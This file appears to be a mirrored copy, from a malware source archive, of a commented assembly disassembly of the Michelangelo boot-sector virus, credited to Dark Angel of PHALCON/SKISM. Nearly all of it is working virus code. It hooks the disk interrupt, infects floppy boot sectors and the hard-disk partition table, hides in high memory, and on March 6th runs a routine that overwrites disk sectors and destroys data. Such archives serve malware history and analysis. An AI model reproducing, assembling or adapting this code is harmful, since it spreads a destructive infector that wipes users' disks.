mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
235 lines
9.0 KiB
NASM
235 lines
9.0 KiB
NASM
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; This is a disassembly of the much-hyped michelangelo virus.
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; As you can see, it is a derivative of the Stoned virus. The
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; junk bytes at the end of the file are probably throwbacks to
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; the Stoned virus. In any case, it is yet another boot sector
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; and partition table infector.
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michelangelo segment byte public
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assume cs:michelangelo, ds:michelangelo
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; Disassembly by Dark Angel of PHALCON/SKISM
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org 0
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jmp entervirus
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highmemjmp db 0F5h, 00h, 80h, 9Fh
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maxhead db 2 ; used by damagestuff
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firstsector dw 3
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oldint13h dd 0C8000256h
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int13h:
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push ds
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push ax
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or dl, dl ; default drive?
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jnz exitint13h ; exit if not
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xor ax, ax
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mov ds, ax
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test byte ptr ds:[43fh], 1 ; disk 0 on?
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jnz exitint13h ; if not spinning, exit
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pop ax
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pop ds
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pushf
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call dword ptr cs:[oldint13h]; first call old int 13h
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pushf
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call infectdisk ; then infect
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popf
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retf 2
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exitint13h: pop ax
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pop ds
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jmp dword ptr cs:[oldint13h]
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infectdisk:
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push ax
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push bx
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push cx
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push dx
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push ds
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push es
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push si
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push di
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push cs
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pop ds
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push cs
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pop es
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mov si, 4
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readbootblock:
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mov ax,201h ; Read boot block to
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mov bx,200h ; after virus
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mov cx,1
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xor dx,dx
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pushf
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call oldint13h
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jnc checkinfect ; continue if no error
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xor ax,ax
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pushf
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call oldint13h ; Reset disk
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dec si ; loop back
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jnz readbootblock
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jmp short quitinfect ; exit if too many failures
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checkinfect:
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xor si,si
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cld
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lodsw
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cmp ax,[bx] ; check if already infected
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jne infectitnow
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lodsw
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cmp ax,[bx+2] ; check again
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je quitinfect
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infectitnow:
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mov ax,301h ; Write old boot block
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mov dh,1 ; to head 1
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mov cl,3 ; sector 3
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cmp byte ptr [bx+15h],0FDh ; 360k disk?
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je is360Kdisk
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mov cl,0Eh
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is360Kdisk:
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mov firstsector,cx
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pushf
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call oldint13h
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jc quitinfect ; exit on error
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mov si,200h+offset partitioninfo
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mov di,offset partitioninfo
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mov cx,21h ; Copy partition table
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cld
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rep movsw
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mov ax,301h ; Write virus to sector 1
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xor bx,bx
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mov cx,1
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xor dx,dx
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pushf
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call oldint13h
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quitinfect:
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pop di
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pop si
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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retn
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entervirus:
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xor ax,ax
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mov ds,ax
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cli
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mov ss,ax
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mov ax,7C00h ; Set stack to just below
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mov sp,ax ; virus load point
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sti
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push ds ; save 0:7C00h on stack for
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push ax ; later retf
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mov ax,ds:[13h*4]
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mov word ptr ds:[7C00h+offset oldint13h],ax
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mov ax,ds:[13h*4+2]
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mov word ptr ds:[7C00h+offset oldint13h+2],ax
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mov ax,ds:[413h] ; memory size in K
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dec ax ; 1024 K
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dec ax
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mov ds:[413h],ax ; move new value in
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mov cl,6
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shl ax,cl ; ax = paragraphs of memory
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mov es,ax ; next line sets seg of jmp
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mov word ptr ds:[7C00h+2+offset highmemjmp],ax
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mov ax,offset int13h
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mov ds:[13h*4],ax
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mov ds:[13h*4+2],es
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mov cx,offset partitioninfo
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mov si,7C00h
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xor di,di
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cld
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rep movsb ; copy to high memory
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; and transfer control there
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jmp dword ptr cs:[7C00h+offset highmemjmp]
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; destination of highmem jmp
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xor ax,ax
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mov es,ax
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int 13h ; reset disk
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push cs
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pop ds
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mov ax,201h
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mov bx,7C00h
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mov cx,firstsector
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cmp cx,7 ; hard disk infection?
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jne floppyboot ; if not, do floppies
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mov dx,80h ; Read old partition table of
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int 13h ; first hard disk to 0:7C00h
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jmp short exitvirus
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floppyboot:
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mov cx,firstsector ; read old boot block
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mov dx,100h ; to 0:7C00h
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int 13h
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jc exitvirus
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push cs
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pop es
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mov ax,201h ; read boot block
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mov bx,200h ; of first hard disk
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mov cx,1
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mov dx,80h
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int 13h
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jc exitvirus
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xor si,si
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cld
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lodsw
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cmp ax,[bx] ; is it infected?
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jne infectharddisk ; if not, infect HD
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lodsw ; check infection
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cmp ax,[bx+2]
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jne infectharddisk
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exitvirus:
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xor cx,cx ; Real time clock get date
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mov ah,4 ; dx = mon/day
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int 1Ah
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cmp dx,306h ; March 6th
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je damagestuff
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retf ; return control to original
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; boot block @ 0:7C00h
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damagestuff:
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xor dx,dx
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mov cx,1
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smashanothersector:
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mov ax,309h
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mov si,firstsector
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cmp si,3
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je smashit
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mov al,0Eh
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cmp si,0Eh
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je smashit
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mov dl,80h ; first hard disk
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mov maxhead,4
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mov al,11h
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smashit:
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mov bx,5000h ; random memory area
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mov es,bx ; at 5000h:5000h
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int 13h ; Write al sectors to drive dl
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jnc skiponerror ; skip on error
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xor ah,ah ; Reset disk drive dl
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int 13h
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skiponerror:
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inc dh ; next head
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cmp dh,maxhead ; 2 if floppy, 4 if HD
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jb smashanothersector
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xor dh,dh ; go to next head/cylinder
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inc ch
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jmp short smashanothersector
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infectharddisk:
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mov cx,7 ; Write partition table to
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mov firstsector,cx ; sector 7
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mov ax,301h
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mov dx,80h
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int 13h
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jc exitvirus
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mov si,200h+offset partitioninfo ; Copy partition
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mov di,offset partitioninfo ; table information
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mov cx,21h
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rep movsw
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mov ax,301h ; Write to sector 8
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xor bx,bx ; Copy virus to sector 1
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inc cl
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int 13h
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;* jmp short 01E0h
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db 0EBh, 32h ; ?This should crash?
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; The following bytes are meaningless.
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garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
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partitioninfo: db 42h dup (0)
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michelangelo ends
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end
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